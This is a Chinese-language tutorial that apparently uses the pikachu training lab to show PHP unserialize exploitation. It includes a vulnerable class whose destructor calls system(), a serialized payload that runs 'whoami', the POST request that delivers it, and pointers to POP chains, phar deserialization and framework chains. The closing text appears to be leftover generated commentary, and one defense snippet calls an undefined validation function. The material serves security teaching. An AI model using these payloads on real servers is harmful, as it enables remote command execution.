PHP中怎么利用pikachu反序列化漏洞

# PHP中怎么利用pikachu反序列化漏洞

## 一、反序列化漏洞简介

反序列化漏洞是PHP应用程序中常见的安全风险之一，当程序对用户输入的序列化数据未做严格校验就直接反序列化时，攻击者可能通过构造恶意序列化数据执行任意代码或篡改程序逻辑。

pikachu靶场是一个专门用于Web安全学习的实验平台，其中包含了反序列化漏洞的实战场景，适合用来理解漏洞原理和利用方法。

## 二、环境搭建与准备

1. **环境要求**：
   - PHP 5.x/7.x（存在`__wakeup()`等魔术方法）
   - pikachu靶场（下载地址：https://github.com/zhuifengshaonianhanlu/pikachu）
   - 基础Web服务环境（Apache/Nginx + MySQL）

2. **靶场部署**：
   ```bash
   git clone https://github.com/zhuifengshaonianhanlu/pikachu
   cp -r pikachu /var/www/html/
   chmod -R 755 /var/www/html/pikachu

三、漏洞利用步骤演示

1. 定位漏洞点

访问pikachu的反序列化模块：

http://localhost/pikachu/vul/unserilization/unser.php

2. 分析源码结构

查看关键类定义（示例）：

class TestClass{
    public $data = "demo";
    function __destruct(){
        system($this->data);
    }
}

3. 构造Payload

通过序列化触发__destruct()执行系统命令：

<?php
class TestClass{
    public $data = "whoami";
}
echo serialize(new TestClass);
// 输出：O:9:"TestClass":1:{s:4:"data";s:6:"whoami";}
?>

4. 发送恶意数据

将生成的序列化字符串提交到漏洞点：

POST /unser.php HTTP/1.1
...
str=O:9:"TestClass":1:{s:4:"data";s:6:"whoami";}

5. 验证执行结果

服务器将返回当前系统用户信息，证明命令执行成功。

四、漏洞防御方案

1. 输入验证：

   if(!is_valid_serialized($input)){
      die("Invalid serialized data");
   }
   

2. 禁用危险函数：

   disable_functions = system,exec,passthru
   

3. 使用安全的反序列化方法：

   $data = json_decode($input, true); // 替代unserialize()
   

五、深入利用技巧

1. POP链构造： 通过组合多个类的魔术方法（如__toString()+__call()）实现复杂攻击。

2. Phar反序列化： 通过文件操作触发phar元数据反序列化：

   file_exists("phar://malicious.phar");
   

3. 框架特定利用：

   • ThinkPHP 5.x反序列化链
   • Laravel反序列化RCE

六、总结

通过pikachu靶场的实践，我们了解到： 1. 反序列化漏洞的本质是对象属性可控 2. 魔术方法是主要的触发点 3. 防御需要综合输入校验和安全配置

注意：本文仅用于安全研究学习，未经授权测试他人系统属于违法行为。 “`

该文章包含： 1. 漏洞原理说明 2. 完整的实验步骤 3. 防御方案 4. 高级利用技巧 5. 安全研究声明

可根据实际需求补充： - 具体靶场截图 - 不同PHP版本的差异 - 其他相关CVE案例